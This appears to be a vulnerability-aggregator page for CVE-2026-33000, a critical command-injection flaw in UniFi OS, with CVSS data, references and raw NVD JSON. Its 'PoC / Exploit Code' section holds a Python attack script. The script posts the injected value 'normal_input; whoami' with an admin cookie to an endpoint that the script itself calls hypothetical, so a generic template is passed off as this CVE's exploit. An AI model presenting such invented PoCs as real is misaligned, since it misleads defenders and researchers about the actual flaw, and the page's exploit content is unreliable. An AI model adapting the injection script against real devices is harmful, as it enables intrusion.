CVE-2026-33000

Description

A malicious actor with access to the network and high privileges could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UniFi OS (具体受影响版本请参考官方Security Advisory Bulletin 064-064)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
PoC for CVE-2026-33000 - UniFi OS Command Injection
Note: This is a generic example for educational purposes.
"""
import requests
import sys

def exploit(target_ip, admin_cookie):
    # The vulnerable endpoint might vary, this is a hypothetical path
    url = f"http://{target_ip}/api/some/vulnerable/endpoint"
    
    # Payload to inject a command (e.g., whoami)
    # Assuming the input is reflected in a system command without sanitization
    payload = "normal_input; whoami"
    
    headers = {
        "Cookie": f"TOKEN={admin_cookie}",
        "Content-Type": "application/json"
    }
    
    data = {
        "param": payload
    }
    
    try:
        print(f"[*] Sending payload to {url}...")
        response = requests.post(url, headers=headers, json=data, verify=False, timeout=5)
        
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Check the response for command execution output.")
            print(response.text)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: python {sys.argv[0]} <TARGET_IP> <ADMIN_COOKIE>")
        sys.exit(1)
    
    target = sys.argv[1]
    cookie = sys.argv[2]
    exploit(target, cookie)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33000
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33000
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33000/
[4] VulDB https://vuldb.com/cve/CVE-2026-33000
[5] https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33000", "sourceIdentifier": "[email protected]", "published": "2026-05-22T02:16:33.933", "lastModified": "2026-05-22T02:16:33.933", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious actor with access to the network and high privileges could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b", "source": "[email protected]"}]}}